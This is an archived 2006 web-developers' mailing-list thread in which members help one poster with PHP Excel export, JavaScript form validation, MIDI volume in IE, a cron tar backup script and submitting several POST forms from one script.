couple of jpegs into the normal excel worksheet.


Peter MacGregor



At 19:39 21/08/2006, you wrote:

Hi all.

I am creating excel spreadsheets in php using 
spreadsheet_excel_writer (a Pear package), which works quite well. 
However, now I need to insert a jpg logo file into the spreadsheet, 
and this only supports bitmaps. Anyone have any pointers on how to 
insert jpgs?


Thanks,
steve




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] excel writer

2006-08-21 Thread steve miller

Hi all.

I am creating excel spreadsheets in php using spreadsheet_excel_writer 
(a Pear package), which works quite well. However, now I need to insert 
a jpg logo file into the spreadsheet, and this only supports bitmaps. 
Anyone have any pointers on how to insert jpgs?


Thanks,
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] javascript form validation

2006-08-02 Thread steve miller

Greetings.

I have a client who has a cart form with textboxes, radio buttons, and 
checkboxes with names like  "OPTION|01_Name_of_school|STDDIP", etc so 
the cart will recognize them. However, she wants to use javascript in 
the page to make sure everything is filled in or selected, and I keep 
getting errors when I try to refer to them with these weird names.


Textboxes and checkboxes seem to work with ids:
document.getElementById('school').value

 but radios and pull-downs don't. Any ideas on how to validate them 
with ids, or some other way other than their goofy names?


Thanks!


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] midi player problem

2006-07-09 Thread steve miller
Thanks Riva. Anything and everything helps me focus down to the 
solution!


steve


On Jul 9, 2006, at 9:24 AM, Portman wrote:

I don't have an answer to your question but I did notice recently that 
when I use headphone on my Dell computer (IE6 and XP), I cannot change 
the volume either. I wonder though if there is something on the laptop 
that won't let the volume be changed - I don't know too much about 
laptops.


Sorry I can't be of more help.

Riva

steve miller wrote:

(sorry to re-post, but still need any help possible!)

I have a client who has a dell laptop running IE6 with XP, and he 
can't change the volume on simple controllers like the one on this 
page:

http://wdvl.internet.com/Multimedia/Sound/

Also, when I embed a hidden player and set the volume to 50%, 40%, 
30%...etc, the volume on his machine does not change. Anyone heard of 
this or know a solution? He wants to play some midi file, and I don't 
know any other payer to use. These all work fine on my Win2000/IE6 
box.


Thanks for any input,
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/

  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] midi player problem

2006-07-09 Thread steve miller

Thanks Ann. I'll pass that along and see if it works.

steve


On Jul 9, 2006, at 10:47 AM, Ann Dietz wrote:


Steve,

We have several Dell laptops running IE6 and Win XP in our household 
-- some

with separate audio cards and some with 'built-in'.

When I click on 'Sound and Audio Devices' in Control Panel on my Dell
Latitude c640, I see Crystal WDM Audio as the device / driver.

On my daughter's new Inspiron, it says SigmaTel Audio.

When I click on the tab that says Audio at the top of the "Sound and 
Audio

Devices" popup, the bottom entry on that tab says: Midi music playback.
There is a single value in the dropdown list which is:  Microsoft GS
Wavetable SW Synth.

There is a volume button below that dropdown and when you click on it, 
the

volume controls for the audio setup show up.  The top of one of those
columns is titled SW Synth.

I'm no expert but I would start with that and make sure that the SW 
Synth

volume isn't set to 0.

I did go to your web link and had no problem adjusting the volume on my
laptop.

Ann




-Original Message-
From: steve miller [mailto:[EMAIL PROTECTED]
Sent: Sunday, July 09, 2006 8:09 AM
To: wdvltalk@lists.wdvl.com
Subject: [wdvltalk] midi player problem

(sorry to re-post, but still need any help possible!)

I have a client who has a dell laptop running IE6 with XP, and he can't
change the volume on simple controllers like the one on this page:
http://wdvl.internet.com/Multimedia/Sound/

Also, when I embed a hidden player and set the volume to 50%, 40%,
30%...etc, the volume on his machine does not change. Anyone heard of
this or know a solution? He wants to play some midi file, and I don't
know any other payer to use. These all work fine on my Win2000/IE6 box.

Thanks for any input,
steve


 . The WDVL Discussion List from WDVL.COM . 
To Join wdvltalk, Send An Email To:
mailto:[EMAIL PROTECTED] or
use the web interface
http://e-newsletters.internet.com/discussionlists.html/
   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: 
[EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/

   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag 
argument: ''
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] midi player problem

2006-07-09 Thread steve miller

(sorry to re-post, but still need any help possible!)

I have a client who has a dell laptop running IE6 with XP, and he can't 
change the volume on simple controllers like the one on this page:

http://wdvl.internet.com/Multimedia/Sound/

Also, when I embed a hidden player and set the volume to 50%, 40%, 
30%...etc, the volume on his machine does not change. Anyone heard of 
this or know a solution? He wants to play some midi file, and I don't 
know any other payer to use. These all work fine on my Win2000/IE6 box.


Thanks for any input,
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] midi music in IE

2006-07-08 Thread steve miller
I have a client who has a dell laptop running IE6 with XP, and he can't 
change the volume on simple controllers like the one on this page:

http://wdvl.internet.com/Multimedia/Sound/

Also, when I embed a hidden player and set the volume to 50%, 40%, 
30%...etc, the volume on his machine does not change. Anyone heard of 
this or know a solution? He wants to play some midi file, and I don't 
know any other payer to use. These all work fine on my Win2000/IE6 box.


Thanks for any input,
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] unix help

2006-05-26 Thread steve miller

Thanks; I'll try anything because I'm really shootin' in the dark :)

steve


On May 26, 2006, at 1:21 PM, Sheila Fenelon wrote:


steve miller wrote:
I am trying to execute a shell script containing a simple tar command 
using a cron job, and I ain't no good at this!
I created a file called exec_tar.sh and placed it at the web root of 
my website. The file contained:

tar -cvf cah_web`date +"%m%d%y"`.tar -C /home/myweb/www


Is that the whole file? You need something like this

#!/bin/sh
TODAY=`date +"%m%d%y"`
tar -cvf cah_web${TODAY}.tar -C /home/myweb/www


You might need to specify the complete path to tar in order for cron 
to find it.



I am attempting to tar the whole "www" directory, then I'll ftp it to 
another site for storage.

I set up a cron to run:
home/myweb/www/exec_tar.sh


Make sure exec_tar.sh has execute permission and test it by running it 
from the command line.


Give cron the complete path to exec_tar.sh


This isn't working...am I even close?


Close. :)


lost,
steve


Sheila
http://www.shefen.com/


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/

  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] unix help

2006-05-26 Thread steve miller

Hi all.

I am trying to execute a shell script containing a simple tar command 
using a cron job, and I ain't no good at this!


I created a file called exec_tar.sh and placed it at the web root of my 
website. The file contained:


tar -cvf cah_web`date +"%m%d%y"`.tar -C /home/myweb/www

I am attempting to tar the whole "www" directory, then I'll ftp it to 
another site for storage.

I set up a cron to run:

home/myweb/www/exec_tar.sh


This isn't working...am I even close?

lost,
steve







 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] site backup

2006-04-13 Thread steve miller

Sometimes I miss the simplest solutions...

Thanks!


On Apr 13, 2006, at 3:56 PM, Bj wrote:


Errr... ever heard of ftp? :-)

What we usually call ftp is a fancy windows front end but underneath 
it all is a command line utility designed exactly for sending files 
from one computer to another...


- Original Message - From: "steve miller" <[EMAIL PROTECTED]>
To: 
Sent: Thursday, April 13, 2006 3:36 PM
Subject: [wdvltalk] site backup



Hi all.

Getting requests for things I know nothing about! I think this falls 
under the category "unix":


A client wants a cron set up to tar a certain directory in her 
website, and send it to another website on another server for backup. 
I think I can figure out the tar process, but is it possible to write 
from one server to another? I'm sure this deals with some kind of 
secure connection, but can someone advise me on how this could be 
done?


Thanks,
steve


 . The WDVL Discussion List from WDVL.COM . 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/

  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/

  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] sorry

2006-04-13 Thread steve miller

I was a little pre-mature with my last email about remote
backups...sorry :(

I found a great site here:
http://www.hostlibrary.com/Remotebackupusingsshtarandcron-how-to.html

steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] site backup

2006-04-13 Thread steve miller

Hi all.

Getting requests for things I know nothing about! I think this falls 
under the category "unix":


A client wants a cron set up to tar a certain directory in her website, 
and send it to another website on another server for backup. I think I 
can figure out the tar process, but is it possible to write from one 
server to another? I'm sure this deals with some kind of secure 
connection, but can someone advise me on how this could be done?


Thanks,
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] submit multiple forms

2006-04-12 Thread steve miller
Thanks Jonathan. Someone else mentioned curl, but I am not familiar 
with it at all. Guess it needs to go on my list!


thanks,
steve


On Apr 12, 2006, at 5:38 PM, Jonathon Smith wrote:

If you have access to CURL you could submit the form to an 
intermediate page
that loops through the submitted ID's and sends post requests for each 
one.

http://www.php.net/curl

Jonathon Smith


-Original Message-
From: steve miller [mailto:[EMAIL PROTECTED]
Sent: Wednesday, April 12, 2006 3:59 PM
To: wdvltalk@lists.wdvl.com
Subject: Re: [wdvltalk] submit multiple forms

Thanks Deb.

I'll have to take a look at these, but I'm not sure they will work. I
never know how many forms will have to be sent, as it depends on how
many selections the user makes.

Thanks,
steve


On Apr 12, 2006, at 2:05 PM, PBC Web Design wrote:


At 11:25 AM 4/12/2006, you wrote:

Is there another way to do this; submit multiple forms from one
script? The receiving application will not take a "get", only a
"post".


I recently had the same kind of issue come up - not for the same
reason as you but my client needed information from a form and also
the form had to go to her Mal's eCommerce cart.  Mal's will not
process any results w/o their code which includes the price of each
item, therefore I could not set up the form to include both "sends" by
use of one "normal" script.  I was told that I needed a separate form
processor script that would process these forms.

I went on a hunt and found a few.  One I would not recommend to my dog
because the tech support was soo poor.  But I did find an use
this:  http://www.phpforms.net/ for processing the information part of
the form.  Then the final submit button directed the visitor to the
Mal's cart.  So, basically what I wound up doing was to use two forms.
 The one w/the info processes to the client and the final page which
contains the product selection goes to the Mal's cart.  There is
another one that I found that I haven't had time to play with that
might help and that is: http://www.kbeesoftware.com/ and both of these
places have been very good w/tech support and Q&A sessions with me.
They are also both very reasonably priced in my opinion.

If these don't do the trick for you, try searching at
http://www.hotscripts.com for your needs.  That's how I found these.


:: Deb
:: http://www.puterbug.com
:: Professional Web Design, SEO
:: VPS Web Hosting Services
:: Offlist eMail: [EMAIL PROTECTED]
 . The WDVL Discussion List from WDVL.COM . 
To Join wdvltalk, Send An Email To:
mailto:[EMAIL PROTECTED] or
use the web interface
http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web
interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to
[EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 . The WDVL Discussion List from WDVL.COM . 
To Join wdvltalk, Send An Email To:
mailto:[EMAIL PROTECTED] or
use the web interface
http://e-newsletters.internet.com/discussionlists.html/
   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag 
argument:

''
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.





 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/

   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltal

Re: [wdvltalk] submit multiple forms

2006-04-12 Thread steve miller

Thank Charles. I like the idea of sockets, so I'll take a look.
And unfortunately no, I don't have access the receiving scripts.

thanks,
steve


On Apr 12, 2006, at 5:50 PM, [EMAIL PROTECTED] wrote:


Took a look around at what ive done and been experimenting with -
drew a blank, and the found this little snippet in my bookmarks:
http://www.alt-php-faq.org/local/55/

you can use PHP to open an HTTP socket to the other script and send
the post information to it [I never got far into that part of PHP so 
youll

have to experiement] - this way you can parse through the submission
and for each email-list checked you submit the form with that ID
without leaving your script [you will have to create a go-between 
script

to handle it].

Dont know if that will help but I will keep looking.

BTW - do you have access / permissions to edit the destination script
file? if you do then it would be a small matter of adjusting the code 
that

parses the POST variables.

Charles R King
On 12 Apr 2006 at 16:41, steve miller wrote:


Hi Charles.

Using php at this point.

Thanks,
steve



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/

   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] submit multiple forms

2006-04-12 Thread steve miller

Thanks Deb.

I'll have to take a look at these, but I'm not sure they will work. I 
never know how many forms will have to be sent, as it depends on how 
many selections the user makes.


Thanks,
steve


On Apr 12, 2006, at 2:05 PM, PBC Web Design wrote:


At 11:25 AM 4/12/2006, you wrote:
Is there another way to do this; submit multiple forms from one 
script? The receiving application will not take a "get", only a 
"post".


I recently had the same kind of issue come up - not for the same 
reason as you but my client needed information from a form and also 
the form had to go to her Mal's eCommerce cart.  Mal's will not 
process any results w/o their code which includes the price of each 
item, therefore I could not set up the form to include both "sends" by 
use of one "normal" script.  I was told that I needed a separate form 
processor script that would process these forms.


I went on a hunt and found a few.  One I would not recommend to my dog 
because the tech support was soo poor.  But I did find an use 
this:  http://www.phpforms.net/ for processing the information part of 
the form.  Then the final submit button directed the visitor to the 
Mal's cart.  So, basically what I wound up doing was to use two forms. 
 The one w/the info processes to the client and the final page which 
contains the product selection goes to the Mal's cart.  There is 
another one that I found that I haven't had time to play with that 
might help and that is: http://www.kbeesoftware.com/ and both of these 
places have been very good w/tech support and Q&A sessions with me.  
They are also both very reasonably priced in my opinion.


If these don't do the trick for you, try searching at 
http://www.hotscripts.com for your needs.  That's how I found these.



:: Deb
:: http://www.puterbug.com
:: Professional Web Design, SEO
:: VPS Web Hosting Services
:: Offlist eMail: [EMAIL PROTECTED]
 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/

  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


Re: [wdvltalk] submit multiple forms

2006-04-12 Thread steve miller

Hi Charles.

Using php at this point.

Thanks,
steve


On Apr 12, 2006, at 2:19 PM, [EMAIL PROTECTED] wrote:


What scripting language are you writing in?

Charles
On 12 Apr 2006 at 12:25, steve miller wrote:


Hi all.

I have a client who uses an opt-in mail list service to send out
newsletters. He creates a mail list, and then provides a signup form
for each list. Each signup form contains an id number for that list
only, which means that a user can only sign up for one list at a time.

I have created a new form that holds all of the id numbers for the
lists, and allows a user to check which list he wants to be added to.
My plan was to write a script that cycled through each checked option,
launch a popup to submit that form and then self-close. This works
fine, except that pop-up blockers break it.

Is there another way to do this; submit multiple forms from one
script? The receiving application will not take a "get", only a
"post".

Thanks for any help.
steve



 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/

   Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:

http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]

To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.




 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.


[wdvltalk] submit multiple forms

2006-04-12 Thread steve miller

Hi all.

I have a client who uses an opt-in mail list service to send out 
newsletters. He creates a mail list, and then provides a signup form 
for each list. Each signup form contains an id number for that list 
only, which means that a user can only sign up for one list at a time.


I have created a new form that holds all of the id numbers for the 
lists, and allows a user to check which list he wants to be added to. 
My plan was to write a script that cycled through each checked option, 
launch a popup to submit that form and then self-close. This works 
fine, except that pop-up blockers break it.


Is there another way to do this; submit multiple forms from one script? 
The receiving application will not take a "get", only a "post".


Thanks for any help.
steve


 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___

You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

